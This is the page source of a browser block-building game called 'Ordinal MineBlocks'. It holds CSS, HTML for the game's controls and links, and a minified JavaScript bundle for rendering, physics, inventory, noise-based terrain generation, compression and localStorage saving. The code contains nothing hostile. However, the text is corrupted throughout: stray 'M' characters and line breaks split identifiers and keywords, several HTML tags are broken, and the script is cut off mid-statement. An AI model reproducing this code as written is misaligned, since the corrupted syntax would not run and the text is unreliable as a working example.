body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
